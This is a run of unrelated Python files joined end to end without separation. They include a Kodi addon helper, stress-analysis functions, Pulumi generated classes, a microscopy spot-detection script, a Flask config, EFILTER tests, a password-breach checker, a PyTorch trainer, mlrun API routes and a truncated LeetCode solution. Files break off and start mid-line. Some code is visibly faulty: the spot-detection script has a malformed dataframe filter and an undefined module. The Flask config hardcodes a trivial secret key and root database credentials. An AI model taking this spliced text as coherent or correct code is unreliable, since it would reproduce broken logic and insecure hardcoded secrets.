title='———————', *, folder=None, **kwargs): """ Add separator item to current directory list. Parameters ---------- title : str Separator title, if None default is taken. folder: None or call Folder endpoint if not None. For more arguments see AddonDirectory.new(). """ if folder is None or folder is False: endpoint, folder = self.addon.no_operation, False elif folder is True: raise ValueError('Separator folder have to be folder-endpoint or None') else: endpoint, folder = folder, True kwargs.setdefault('style', ['COLOR khaki', 'B', 'I']) kwargs.setdefault('thumb', self.addon.libka.media.image('transparent.png')) return self.item(title, endpoint, playable=False, folder=folder, **kwargs) def parse(self, *args, **kwargs): """ Custom parse. Call Addon.parse_list_item(kd, *args, **kwargs) if exists. """ handler = getattr(self.addon, 'parse_list_item', None) if handler is not None: return handler(self, *args, **kwargs) def item_count(self): """ Returns number of items on the list. """ return len(self.item_list) # @contextmanager # def context_menu(self, safe=False, **kwargs): # km = AddonContextMenu(self.addon, **kwargs) # try: # yield km # except Exception: # if not safe: # raise # else: # pass # finally: # pass @contextmanager def items_block(self): block = AddonDirectoryBlock(self) next_sort_key = self._next_sort_key try: yield block except Exception: ... raise finally: self._next_sort_key = next_sort_key pass class AddonDirectoryBlock: """ Block of items added to folder `AddonDirectory`. """ _AddonDirectoryMethods = {'new', 'add', 'item', 'folder', 'play'} def __init__(self, directory): self.directory = directory self.start = len(self.directory.item_list) self._sort_key = None def sort_items(self, *, key=None, reverse=False): """ Sort items added in the block. Return a new list containing all items from the iterable in ascending order. A custom key function can be supplied to customize the sort order, and the reverse flag can be set to request the result in descending order. """ if key is None: def key(item): if item.sort_key is None: return item.label return item.sort_key if len(self.directory.item_list) > self.start: self.directory.item_list[self.start:] = sorted(self.directory.item_list[self.start:], key=lambda item: key(item.item), reverse=reverse) def item_count(self): """ Returns number of items on the list block. """ return len(self.item_list) - self.start def __getattr__(self, key): """ All unknown attrobutes are forwarded to `AddonDirectory` (include methods). """ if key in self._AddonDirectoryMethods: return getattr(self.directory, key) raise KeyError(key) def set_sort_key(self, sort_key): """ Set default sort key for all next new items. """ self.directory._next_sort_key = sort_key class AddonContextMenu(list): """ Thiny wrapper for plugin list item context menu. See: xbmcgui.ListItem. """ def __init__(self, menu=None, *, addon): self.addon = addon if menu is not None: for item in menu: if not isinstance(item, str) and isinstance(item, Sequence): # tuple: (title, handle) or (handle,) self.add(*item[:2]) else: # just directly: handle self.add(item) def add(self, title, endpoint=None, *, format=None, style=None): method = title if endpoint is None else endpoint entry = self.addon.mkentry(title, endpoint, style=style) label = entry.label if label is None: label = entry.title label = self.addon.format_title(label, entry.style, n=len(self) + 1) if isinstance(method, str): self.append((label, entry.url)) else: self.append((label, f'Container.Update({entry.url})')) # self.append((label, f'Container.Refresh({entry.url})')) # self.append((label, f'XBMC.RunPlugin({entry.url})')) #!/usr/bin/env python3 import urllib.request import json import sys def make_post(url, post_body): try: res = urllib.request.urlopen(url, post_body.encode()) text = '' for line in res.readlines(): text += line.decode() print('raw body:', text) print(json.loads(text)) except json.decoder.JSONDecodeError as e: print(e) sys.exit(1) except urllib.error.HTTPError as e: print(e) sys.exit(1) if __name__ == '__main__': make_post(sys.argv[1], sys.argv[2])KnutAM/cyclic_datacyclic_data/von_mises.py1-10 """Module used to analyze wrt. von Mises effective stresses """ import numpy as np def stress_polar(sig, tau): """ Calculate the polar stress coordinates in the ``sig``-sqrt(3)``tau`` plane using the radius from :py:func:`von_mises` and the angle from :py:func:`vm_angle`. See respective function for input/output details :returns: radius and angle """ radius = vm(sig, tau) angle = vm_angle(sig, tau) return radius, angle def vm(sig, tau): """ Calculate the von Mises stress given a normal and shear stress :param sig: Axial stress, :math:`\\sigma_{zz}` :type sig: float, np.array :param tau: Shear stress, :math:`\\sigma_{\\theta z}` :type tau: float, np.array :returns: The von Mises stress :rtype: float, np.array """ return np.sqrt(sig**2 + 3*tau**2) def vm_angle(sig, tau): """ Calculate the angle in the ``sig``-``tau`` space, where ``tau`` is scaled to obtain a circle for equal von Mises stresses. To avoid jumps around :math:`\\pi`, the interval (width=2pi) is adjusted within [-2pi, 2pi], i.e. the interval is [amin, amin+2pi] where the mean angle is [amin+pi] and amin is in [-2pi,0] This only works as long as the angles are not rotating continuously, but remain within a certain smaller interval with width less than :math:`2\\pi`. In any case, the angle is measured from the ``sig``-axis. :param sig: Axial stress, :math:`\\sigma_{zz}` :type sig: float, np.array :param tau: Shear stress, :math:`\\sigma_{\\theta z}` :type tau: float, np.array :returns: The angle relative the sigma axis, in the :math:`\\sigma_{zz}-\\sqrt{3}\\sigma_{\\theta z}` plane :rtype: float, np.array """ x = [sig, np.sqrt(3) * tau] xm = [np.mean(xi) for xi in x] mid_angle = np.arctan2(xm[1], xm[0]) xp = [x[0]*np.cos(mid_angle) + x[1]*np.sin(mid_angle), -x[0]*np.sin(mid_angle) + x[1]*np.cos(mid_angle)] angles = np.arctan2(xp[1], xp[0]) + mid_angle return angles def evm(eps, gam): """ Calculate the effective von Mises strain given an axial strain and a shear strain :param eps: Axial strain, e.g. :math:`\\epsilon_{zz}` :type eps: float, np.array :param gam: Shear strain, e.g. :math:`2\\epsilon_{\\theta z}` :type gam: float, np.array :returns: The von Mises strain :rtype: float, np.array """ return np.sqrt(eps**2 + gam**2/3) max-moser/invenio-communities # -*- coding: utf-8 -*- # # This file is part of Invenio. # Copyright (C) 2022 Northwestern University. # # Invenio-Communities is free software; you can redistribute it and/or modify # it under the terms of the MIT License; see LICENSE file for more details. from .config import InvitationServiceConfig from .permissions import InvitationPermissionPolicy from .request_types import CommunityMemberInvitation from .service import InvitationService __all__ = [ "CommunityMemberInvitation", "InvitationPermissionPolicy", "InvitationService", "InvitationServiceConfig", ] ianzhengnan/learnpy class Student(object): pass s = Student() s.name = 'kaka' # 动态添加的属性 from types import MethodType def set_age(self, age): self.age = age s.set_age = MethodType(set_age, s) s.set_age(25) print(s.age, s.name) # 给所有的实例绑定方法 def set_score(self, score): self.score = score Student.set_score = set_score s2 = Student() s2.set_score(99) print(s2.score) s.set_score(98) print(s.score) class Animal(object): __slots__ = ('price', 'weight') # 限定Animal只能有price， weight两个属性 a = Animal() a.price = 23 a.weight = 2 # a.name = 'kaka' # 加不了了 class Dog(Animal): pass dog = Dog() # dog.name = 'kaka' # 子类一样加不了 dog.price = 22 # 可以添加1-10 from builtins import object from datetime import timedelta import factory from django.utils.timezone import now from fluent_contents.models import Placeholder from bluebottle.news.models import NewsItem from bluebottle.utils.models import PublishedStatus from .accounts import BlueBottleUserFactory class NewsItemFactory(factory.DjangoModelFactory): class Meta(object): model = NewsItem title = factory.Sequence(lambda n: 'News Title {0}'.format(n)) status = PublishedStatus.published main_image = factory.django.ImageField(color='blue') publication_date = now() - timedelta(days=4) language = 'nl' slug = factory.Sequence(lambda n: 'slug-{0}'.format(n)) author = factory.SubFactory(BlueBottleUserFactory) make_placeholder = factory.PostGeneration( lambda obj, create, extracted, **kwargs: Placeholder.objects.create_for_object(obj, 'blog_contents')) sdk/python/pulumi_azure_native/customproviders/outputs.py # coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities from ._enums import * __all__ = [ 'CustomRPActionRouteDefinitionResponse', 'CustomRPResourceTypeRouteDefinitionResponse', 'CustomRPValidationsResponse', ] @pulumi.output_type class CustomRPActionRouteDefinitionResponse(dict): """ The route definition for an action implemented by the custom resource provider. """ @staticmethod def __key_warning(key: str): suggest = None if key == "routingType": suggest = "routing_type" if suggest: pulumi.log.warn(f"Key '{key}' not found in CustomRPActionRouteDefinitionResponse. Access the value via the '{suggest}' property getter instead.") def __getitem__(self, key: str) -> Any: CustomRPActionRouteDefinitionResponse.__key_warning(key) return super().__getitem__(key) def get(self, key: str, default = None) -> Any: CustomRPActionRouteDefinitionResponse.__key_warning(key) return super().get(key, default) def __init__(__self__, *, endpoint: str, name: str, routing_type: Optional[str] = None): """ The route definition for an action implemented by the custom resource provider. :param str endpoint: The route definition endpoint URI that the custom resource provider will proxy requests to. This can be in the form of a flat URI (e.g. 'https://testendpoint/') or can specify to route via a path (e.g. 'https://testendpoint/{requestPath}') :param str name: The name of the route definition. This becomes the name for the ARM extension (e.g. '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.CustomProviders/resourceProviders/{resourceProviderName}/{name}') :param str routing_type: The routing types that are supported for action requests. """ pulumi.set(__self__, "endpoint", endpoint) pulumi.set(__self__, "name", name) if routing_type is not None: pulumi.set(__self__, "routing_type", routing_type) @property @pulumi.getter def endpoint(self) -> str: """ The route definition endpoint URI that the custom resource provider will proxy requests to. This can be in the form of a flat URI (e.g. 'https://testendpoint/') or can specify to route via a path (e.g. 'https://testendpoint/{requestPath}') """ return pulumi.get(self, "endpoint") @property @pulumi.getter def name(self) -> str: """ The name of the route definition. This becomes the name for the ARM extension (e.g. '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.CustomProviders/resourceProviders/{resourceProviderName}/{name}') """ return pulumi.get(self, "name") @property @pulumi.getter(name="routingType") def routing_type(self) -> Optional[str]: """ The routing types that are supported for action requests. """ return pulumi.get(self, "routing_type") @pulumi.output_type class CustomRPResourceTypeRouteDefinitionResponse(dict): """ The route definition for a resource implemented by the custom resource provider. """ @staticmethod def __key_warning(key: str): suggest = None if key == "routingType": suggest = "routing_type" if suggest: pulumi.log.warn(f"Key '{key}' not found in CustomRPResourceTypeRouteDefinitionResponse. Access the value via the '{suggest}' property getter instead.") def __getitem__(self, key: str) -> Any: CustomRPResourceTypeRouteDefinitionResponse.__key_warning(key) return super().__getitem__(key) def get(self, key: str, default = None) -> Any: CustomRPResourceTypeRouteDefinitionResponse.__key_warning(key) return super().get(key, default) def __init__(__self__, *, endpoint: str, name: str, routing_type: Optional[str] = None): """ The route definition for a resource implemented by the custom resource provider. :param str endpoint: The route definition endpoint URI that the custom resource provider will proxy requests to. This can be in the form of a flat URI (e.g. 'https://testendpoint/') or can specify to route via a path (e.g. 'https://testendpoint/{requestPath}') :param str name: The name of the route definition. This becomes the name for the ARM extension (e.g. '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.CustomProviders/resourceProviders/{resourceProviderName}/{name}') :param str routing_type: The routing types that are supported for resource requests. """ pulumi.set(__self__, "endpoint", endpoint) pulumi.set(__self__, "name", name) if routing_type is not None: pulumi.set(__self__, "routing_type", routing_type) @property @pulumi.getter def endpoint(self) -> str: """ The route definition endpoint URI that the custom resource provider will proxy requests to. This can be in the form of a flat URI (e.g. 'https://testendpoint/') or can specify to route via a path (e.g. 'https://testendpoint/{requestPath}') """ return pulumi.get(self, "endpoint") @property @pulumi.getter def name(self) -> str: """ The name of the route definition. This becomes the name for the ARM extension (e.g. '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.CustomProviders/resourceProviders/{resourceProviderName}/{name}') """ return pulumi.get(self, "name") @property @pulumi.getter(name="routingType") def routing_type(self) -> Optional[str]: """ The routing types that are supported for resource requests. """ return pulumi.get(self, "routing_type") @pulumi.output_type class CustomRPValidationsResponse(dict): """ A validation to apply on custom resource provider requests. """ @staticmethod def __key_warning(key: str): suggest = None if key == "validationType": suggest = "validation_type" if suggest: pulumi.log.warn(f"Key '{key}' not found in CustomRPValidationsResponse. Access the value via the '{suggest}' property getter instead.") def __getitem__(self, key: str) -> Any: CustomRPValidationsResponse.__key_warning(key) return super().__getitem__(key) def get(self, key: str, default = None) -> Any: CustomRPValidationsResponse.__key_warning(key) return super().get(key, default) def __init__(__self__, *, specification: str, validation_type: Optional[str] = None): """ A validation to apply on custom resource provider requests. :param str specification: A link to the validation specification. The specification must be hosted on raw.githubusercontent.com. :param str validation_type: The type of validation to run against a matching request. """ pulumi.set(__self__, "specification", specification) if validation_type is not None: pulumi.set(__self__, "validation_type", validation_type) @property @pulumi.getter def specification(self) -> str: """ A link to the validation specification. The specification must be hosted on raw.githubusercontent.com. """ return pulumi.get(self, "specification") @property @pulumi.getter(name="validationType") def validation_type(self) -> Optional[str]: """ The type of validation to run against a matching request. """ return pulumi.get(self, "validation_type") source/spot_detection_tracking/2d_spot_detection.py1-10 import argparse import os import matplotlib import matplotlib.pyplot as plt from matplotlib.backends.backend_pdf import PdfPages import skimage.io from utils import * from trackmate_xml_2d import create_trackmate_xml matplotlib.use("Agg") def _parse_args(): """Parse command-line arguments.""" parser = argparse.ArgumentParser() parser.add_argument( "-i", "--input", type=str, default=None, required=True, help="Input movie to be used for spot detection", ) parser.add_argument( "-m", "--model", type=str, default=None, required=True, help="deepBlink model.", ) parser.add_argument( "-o", "--output", type=str, default=None, help="Output name of the pdf report. Default None.", ) parser.add_argument( "-su", "--spatialunits", type=str, default="pixel", help="Spatial unit of the image. Default pixel, alternative um", ) parser.add_argument( "-tu", "--timeunits", type=str, default="sec", help="Spatial unit of the image. Default sec, alternative min, hour", ) parser.add_argument( "-pw", "--pixelwidth", type=float, default=1, help="Conversion pixel to spatial units along x, default 1.", ) parser.add_argument( "-hw", "--pixelheight", type=float, default=1, help="Conversion pixel to spatial units along y, default 1.", ) parser.add_argument( "-ti", "--timeinterval", type=float, default=1, help="Time resolution, default 1 time unit.", ) args = parser.parse_args() return args def main(): """Detect spots and pdf with spot projection in 2D.""" # Avoid verbosity from trackpy tp.quiet() args = _parse_args() outname = args.output # Import model model = pink.io.load_model(args.model) outdir = "." # Change relative path to abs path args.input = os.path.abspath(args.input) if outname is None: outname = "".join([os.path.splitext(os.path.basename(args.input))[0], ".pdf"]) # create output directory if not os.path.exists(f"{outdir}/pixel_based"): os.mkdir(f"{outdir}/pixel_based") if not os.path.exists(f"{outdir}/um_based"): os.mkdir(f"{outdir}/um_based") # Read movie movie = skimage.io.imread(args.input) if len(movie.shape) == 2: Warning( f"Found image with shape = 2; assuming it's 2d data with a single time point." ) movie = np.expand_dims(movie, axis=0) print(movie.shape) if len(movie.shape) < 2: raise ValueError( f"Expected at least 2 dimension, found only {len(movie.shape)}" ) # Detect spots df = detect_spots(movie, model) outxml = outname.replace("pdf", "xml") # create and save trackmate xml file. It also saves a csv file with coordinate create_trackmate_xml( file_image=args.input, spots_df=df[["x", "y", "slice"]].copy(), file_output=f"{outdir}/pixel_based/{outxml}", ) # micron based if args.spatialunits == "um": create_trackmate_xml( file_image=args.input, spots_df=df[["x", "y", "slice"]].copy(), file_output=f"{outdir}/um_based/{outxml}", spatialunits=args.spatialunits, timeunits=args.timeunits, pixelwidth=args.pixelwidth, pixelheight=args.pixelheight, timeinterval=args.timeinterval, ) # Save pdf with PdfPages(outname) as pdf: for idx in np.arange(start=0, stop=len(movie), step=30): try: fig, ax = plt.subplots(1, 3, figsize=(30, 10)) ax[0].imshow( np.max(movie[idx], axis=0), vmax=np.quantile(movie[idx], 0.999) ) ax[0].scatter( df[df["slice" == idx]]["x"], df[df["slice" == idx]]["y"], color="red", marker="+", ) ax[1].imshow( np.max(movie[idx], axis=0), vmax=np.quantile(movie[idx], 0.999) ) ax[1].scatter( df[df["slice" == idx]]["x"], df[df["slice" == idx]]["y"], color="red", marker="+", ) ax[2].imshow( np.max(movie[idx], axis=0), vmax=np.quantile(movie[idx], 0.999) ) pdf.savefig(fig) plt.close() except: continue if __name__ == "__main__": main() narutox900/GotItOnboardFinalapp/config/config.py """Flask configuration.""" class Config: """Base config.""" SECRET_KEY = 'key' SQLALCHEMY_TRACK_MODIFICATIONS = False SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:p@localhost:33060/catalog_dev' class ProductionConfig(Config): SECRET_KEY = 'production_key' class DevelopmentConfig(Config): pass class TestConfig(Config): TESTING = True SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:p@localhost:33060/catalog_test' 1-10 def main(): from digoie.core.commands import base if __name__ == '__main__': main() 100-1000 #!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.response.AlipayResponse import AlipayResponse class AlipayAccountFinriskMarkriskDatafactorQueryResponse(AlipayResponse): def __init__(self): super(AlipayAccountFinriskMarkriskDatafactorQueryResponse, self).__init__() self._result_map = None @property def result_map(self): return self._result_map @result_map.setter def result_map(self, value): self._result_map = value def parse_response_content(self, response_content): response = super(AlipayAccountFinriskMarkriskDatafactorQueryResponse, self).parse_response_content(response_content) if 'result_map' in response: self.result_map = response['result_map'] #!/usr/bin/python # -*- coding: utf-8 -*- # Imports import sys # Arquivo texto text = sys.argv[1] # Abrindo o arquivo text = open(text, 'r').read() # Pilha usada para as operações stack = [] # Cortando linha por linha text = text.split('\n') # For em cada linha for line in text: # Dividi por espaço line = line.split(' ') # Se for Tamanho 2, é operação PUSH NUM if len(line) == 2: # Pega o número num = line[1] # Adiciona ao fim da pilha stack.append(int(num)) # É outra operação else: # Operação de Print if line[0] == 'PRINT': # Retira o ultimo da pilha a = stack.pop() # printa ele na tela print(a) # Adiciona novamente na pilha stack.append(a) # Operações que usam dois números da pilha else: # Retorna os dois ultimos números da pilha b = stack.pop() a = stack.pop() # Operação ADD if line[0] == 'ADD': stack.append(a + b) # Operação SUB elif line[0] == 'SUB': stack.append(a - b) # Operação MULT elif line[0] == 'MULT': stack.append(a * b) # Operação DIV elif line[0] == 'DIV': stack.append(a / b) efilter_tests/unit/transforms/infer_type.py # EFILTER Forensic Query Language # # Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ EFILTER test suite. """ __author__ = " <>" from efilter_tests import mocks from efilter_tests import testlib from efilter import protocol from efilter import query as q from efilter.transforms import infer_type from efilter.protocols import boolean from efilter.protocols import number class InferTypeTest(testlib.EfilterTestCase): def testQuery(self): """Get coverage test to shut up.""" def testVar(self): self.assertIsa( infer_type.infer_type( q.Query("Process.pid"), mocks.MockRootType), int) def testLiteral(self): self.assertIsa( infer_type.infer_type( q.Query("42"), mocks.MockRootType), number.INumber) def testVar(self): self.assertIsa( infer_type.infer_type( q.Query("foo"), mocks.MockRootType), protocol.AnyType) def testEquivalence(self): self.assertIsa( infer_type.infer_type( q.Query("Process.name == 'init'"), mocks.MockRootType), boolean.IBoolean) def testComplement(self): self.assertIsa( infer_type.infer_type( q.Query("not Process.name"), mocks.MockRootType), boolean.IBoolean) def testCount(self): """Count is pretty simple.""" self.assertIsa( infer_type.infer_type( q.Query(("apply", ("var", "count"), ("repeat", 1, 2, 3))), mocks.MockRootType), number.INumber) def testIsInstance(self): self.assertIsa( infer_type.infer_type( q.Query("proc isa Process"), mocks.MockRootType), boolean.IBoolean) def testBinaryExpression(self): self.assertIsa( infer_type.infer_type( q.Query("'foo' in ('bar', 'foo')"), mocks.MockRootType), boolean.IBoolean) def testSelect(self): self.assertIsa( infer_type.infer_type( q.Query("proc['pid']"), mocks.MockRootType), number.INumber) self.assertEqual( infer_type.infer_type( q.Query("proc[var_name]"), mocks.MockRootType), protocol.AnyType) def testResolve(self): self.assertIsa( infer_type.infer_type( q.Query("proc.pid"), mocks.MockRootType), number.INumber) self.assertIsa( infer_type.infer_type( q.Query("proc.parent.pid"), mocks.MockRootType), number.INumber) def testAny(self): self.assertIsa( infer_type.infer_type( q.Query("any pslist where (parent.name == 'init')"), mocks.MockRootType), boolean.IBoolean) def testEach(self): self.assertIsa( infer_type.infer_type( q.Query("any Process.children where (name == 'init')"), mocks.MockRootType), boolean.IBoolean) def testVariadicExpression(self): self.assertIsa( infer_type.infer_type( q.Query("5 + 5"), mocks.MockRootType), number.INumber) self.assertIsa( infer_type.infer_type( q.Query("10 * (1 - 4) / 5"), mocks.MockRootType), number.INumber) def testApply(self): self.assertIsa( infer_type.infer_type( q.Query("MockFunction(5, 10)"), mocks.MockRootType), number.INumber) def testRepeat(self): self.assertIsa( infer_type.infer_type( q.Query(("repeat", 1, 2, 3)), mocks.MockRootType), number.INumber) def testFilter(self): self.assertIsa( infer_type.infer_type( q.Query("select * from pslist where (parent.pid == 10)"), mocks.MockRootType), mocks.Process) def testSort(self): self.assertIsa( infer_type.infer_type( q.Query("select * from pslist order by parent.pid"), mocks.MockRootType), mocks.Process) def testMap(self): self.assertIsa( infer_type.infer_type( q.Query("Process.parent.pid + 10"), mocks.MockRootType), number.INumber) # Should be the same using shorthand syntax. self.assertIsa( infer_type.infer_type( q.Query("Process.parent.pid - 1"), mocks.MockRootType), number.INumber) import requests import hashlib import sys def request_api_data(query_char): '''requests our data and gives us a response''' url = 'https://api.pwnedpasswords.com/range/' + query_char res = requests.get(url) if res.status_code != 200: #check our response if the status is 200 raise RuntimeError(f'Error fetching: {res.status_code}, check the api and try again') return res def get_password_leaks_count(hashes, hash_to_check): '''loop through all the hashes for checking the parameter 'hash_to_check' and returns the count ''' hashes = (line.split(':') for line in hashes.text.splitlines()) for h, count in hashes: if h == hash_to_check: return count return 0 def pwned_api_check(password): '''check password if it exists in API''' sha1password = hashlib.sha1(password.encode('utf-8')).hexdigest().upper() #hashing the password using SHA-1 algorithm and returning query char first5_char, tail = sha1password[:5], sha1password[5:] response = request_api_data(first5_char) return get_password_leaks_count(response, tail) def main(args): '''recieves the arguments that we give in command line''' for password in args: count = pwned_api_check(password) if count: print(f'{password} was found {count} times... you should probably change your password!') else: print(f'{password} was NOT found. Carry on!') return '!!!-----Done----!!!' if __name__ == '__main__': sys.exit(main(sys.argv[1:])) #exiting out of the file 0 import sys import argparse import os import terminal_helper as th import json import time import matplotlib.pyplot as plt import torch import numpy as np import torch.nn.functional as F from PIL import Image from collections import OrderedDict from torch import nn from torch import optim from torch.autograd import Variable from torchvision import datasets, transforms, models parser = argparse.ArgumentParser() parser.add_argument('--save_path', type=str, default='checkpoint.pth') parser.add_argument('--data_dir', type=str, default='flowers') parser.add_argument('--device', type=str, default='cuda') parser.add_argument('--epochs', type=int, default=10) parser.add_argument('--learning_rate', type=float, default=0.001) parser.add_argument('--hidden_units1', type=float, default=12544) parser.add_argument('--hidden_units2', type=float, default=6272) parser.add_argument('--drop1', type=float, default=0.5) parser.add_argument('--drop2', type=float, default=None) parser.add_argument('--arch', type=str, default='vgg16') args, _ = parser.parse_known_args() save_path = args.save_path data_dir = args.data_dir device = args.device epochs = args.epochs learning_rate = args.learning_rate hidden_units1 = args.hidden_units1 hidden_units2 = args.hidden_units2 drop1 = args.drop1 drop2 = args.drop2 arch = args.arch inner_layer1 = hidden_units1 if drop1 is None else [hidden_units1, drop1] inner_layer2 = hidden_units2 if drop2 is None else [hidden_units2, drop2] layer_sizes = [25088, inner_layer1, inner_layer2, 102] # print(save_path) # print(data_dir) # print(device) # print(epochs) # print(learning_rate) # print(hidden_units1) # print(hidden_units2) # print(drop1) # print(drop2) # print(arch) # print(layer_sizes) #data_dir = 'flowers' train_dir = os.path.join(data_dir, 'train') valid_dir = os.path.join(data_dir, 'valid') train_transforms = transforms.Compose([ # resize 224x224 transforms.Resize(224), transforms.RandomRotation(30), transforms.RandomResizedCrop(224), transforms.RandomHorizontalFlip(), transforms.ToTensor(), transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]) ]) validation_transforms = transforms.Compose([ transforms.Resize(224), transforms.CenterCrop(224), transforms.ToTensor(), transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]) ]) train_data = datasets.ImageFolder(train_dir, transform=train_transforms) validation_data = datasets.ImageFolder(valid_dir, transform=validation_transforms) train_loader = torch.utils.data.DataLoader(train_data, batch_size=32, shuffle=True) validation_loader = torch.utils.data.DataLoader(validation_data, batch_size=32) with open('cat_to_name.json', 'r') as f: cat_to_name = json.load(f) # print(cat_to_name) if arch == 'vgg16': pretrained_model = models.vgg16(pretrained=True) elif arch == 'vgg19': pretrained_model = models.vgg19(pretrained=True) else: pretrained_model = models.vgg11(pretrained=True) optimizer_algorithm = optim.Adam model = th.create_model(pretrained_model, layer_sizes) criterion = nn.NLLLoss() optimizer = optimizer_algorithm(model.classifier.parameters(), lr=learning_rate) th.do_deep_learning(model, train_loader, validation_loader, epochs, 40, criterion, optimizer, device) # TODO: Save the checkpoint checkpoint = { 'layer_sizes': layer_sizes, 'state_dict': model.state_dict(), 'class_to_idx': train_data.class_to_idx, } torch.save(checkpoint, save_path)EdmondIguazio/mlrun from http import HTTPStatus from fastapi import APIRouter, Depends, Response from sqlalchemy.orm import Session from mlrun.api import schemas from mlrun.api.api import deps from mlrun.api.utils.singletons.scheduler import get_scheduler router = APIRouter() @router.post("/projects/{project}/schedules") def create_schedule( project: str, schedule: schemas.ScheduleInput, db_session: Session = Depends(deps.get_db_session), ): get_scheduler().create_schedule( db_session, project, schedule.name, schedule.kind, schedule.scheduled_object, schedule.cron_trigger, labels={label.name: label.value for label in schedule.labels}, ) return Response(status_code=HTTPStatus.CREATED.value) @router.put("/projects/{project}/schedules/{name}") def update_schedule( project: str, name: str, schedule: schemas.ScheduleUpdate, db_session: Session = Depends(deps.get_db_session), ): get_scheduler().update_schedule( db_session, project, name, schedule.scheduled_object, schedule.cron_trigger, labels={label.name: label.value for label in schedule.labels}, ) return Response(status_code=HTTPStatus.OK.value) @router.get("/projects/{project}/schedules", response_model=schemas.SchedulesOutput) def list_schedules( project: str, name: str = None, labels: str = None, kind: schemas.ScheduleKinds = None, include_last_run: bool = False, db_session: Session = Depends(deps.get_db_session), ): return get_scheduler().list_schedules( db_session, project, name, labels, kind, include_last_run=include_last_run ) @router.get( "/projects/{project}/schedules/{name}", response_model=schemas.ScheduleOutput ) def get_schedule( project: str, name: str, include_last_run: bool = False, db_session: Session = Depends(deps.get_db_session), ): return get_scheduler().get_schedule( db_session, project, name, include_last_run=include_last_run ) @router.post("/projects/{project}/schedules/{name}/invoke") async def invoke_schedule( project: str, name: str, db_session: Session = Depends(deps.get_db_session), ): return await get_scheduler().invoke_schedule(db_session, project, name) @router.delete( "/projects/{project}/schedules/{name}", status_code=HTTPStatus.NO_CONTENT.value ) def delete_schedule( project: str, name: str, db_session: Session = Depends(deps.get_db_session), ): get_scheduler().delete_schedule(db_session, project, name) return Response(status_code=HTTPStatus.NO_CONTENT.value) .todo/cli.py #!/usr/bin/env python3 from pathlib import Path from os import listdir from pyAttributes.ArgParseAttributes import ( ArgParseMixin, ArgumentAttribute, Attribute, CommandAttribute, CommonSwitchArgumentAttribute, DefaultAttribute, SwitchArgumentAttribute, ) from hub import get_all_registry_info, print_repos, print_tags from graph import parse_dockerfile, generate_graph from tasks import build, task class WithBuildAttributes(Attribute): def __call__(self, func): self._AppendAttribute( func, SwitchArgumentAttribute( "--dry-run", dest="dry_run", help="Print build commands but do not execute them.", ), ) # ... add more if needed return func class CLI(ArgParseMixin): HeadLine = "hdl/containers (HDLC) command-line tool" def __init__(self): import argparse import textwrap # Call constructor of the main interitance tree super().__init__() # Call constructor of the ArgParseMixin ArgParseMixin.__init__( self, description=textwrap.dedent( "Helper tool to build one or multiple images, to easily browse publicly available tags, and to generate graphs showing the dependencies between tags." ), epilog=textwrap.fill("Happy hacking!"), formatter_class=argparse.RawDescriptionHelpFormatter, add_help=False, ) def PrintHeadline(self): print("{line}".format(line="=" * 80)) print("{headline: ^80s}".format(headline=self.HeadLine)) print("{line}".format(line="=" * 80)) @CommonSwitchArgumentAttribute( "-q", "--quiet", dest="quiet", help="Reduce messages to a minimum." ) @CommonSwitchArgumentAttribute( "-v", "--verbose", dest="verbose", help="Print out detailed messages." ) @CommonSwitchArgumentAttribute( "-d", "--debug", dest="debug", help="Enable debug mode." ) def Run(self): ArgParseMixin.Run(self) @DefaultAttribute() def HandleDefault(self, args): self.PrintHeadline() self.MainParser.print_help() @CommandAttribute("help", help="Display help page(s) for the given command name.") @ArgumentAttribute( metavar="", dest="Command", type=str, nargs="?", help="Print help page(s) for a command.", ) def HandleHelp(self, args): if args.Command == "help": print("This is a recursion ...") return if args.Command is None: self.PrintHeadline() self.MainParser.print_help() else: try: self.PrintHeadline() self.SubParsers[args.Command].print_help() except KeyError: print("Command {0} is unknown.".format(args.Command)) @CommandAttribute( "hub", help="Show list of repos and tags at hub.docker.com/u/ghdl." ) def HandleHub(self, _): repo_list = get_all_registry_info() print() print_repos(repo_list) print() print_tags(repo_list) @CommandAttribute("build", help="Build a single image.") @WithBuildAttributes() @ArgumentAttribute( metavar="", dest="Repo", type=str, help="Repo - hub repo name" ) @ArgumentAttribute( metavar="", dest="Tag", type=str, help="Tag - target image tag" ) def HandleBuild(self, args): build(args.Repo, args.Tag, args.dry_run) @CommandAttribute("task", help="Run a task, i.e. build a group of images.") @WithBuildAttributes() @ArgumentAttribute( metavar="", dest="Name", type=str, help="Name - unique identifier" ) @ArgumentAttribute( metavar="", dest="Args", type=str, nargs="*", help="Args - optional arguments/filters", ) def HandleTask(self, args): task(args.Name, args.Args, args.dry_run) @CommandAttribute( "graph", help="Generate a dot graph from the multi-stage dockerfiles (WIP)." ) def HandleGraph(self, _): dockerfiles = Path(__file__).parent / ".." / "dockerfiles" generate_graph( { dfile: parse_dockerfile(dockerfiles / dfile) for dfile in listdir(dockerfiles) } ) if __name__ == "__main__": CLI().Run() """ Given an array nums of n integers where n > 1, return an array output such that output[i] is equal to the product of all the elements of nums except nums[i]. Note: Please solve it without division and in O(n). """ class Solution: def productExceptSelf(self, nums: List[int]) -> List[int]: prefix = [1]*(len(nums)) postfix = [1]*(len(nums)) prefix[0] = nums[0] for i in range(1,len(nums)): prefix[i] = prefix[i-1]*nums[i] postfix[-1] = nums[-1] for i in range(len(nums)-2,-1,-1): postfix[i] = 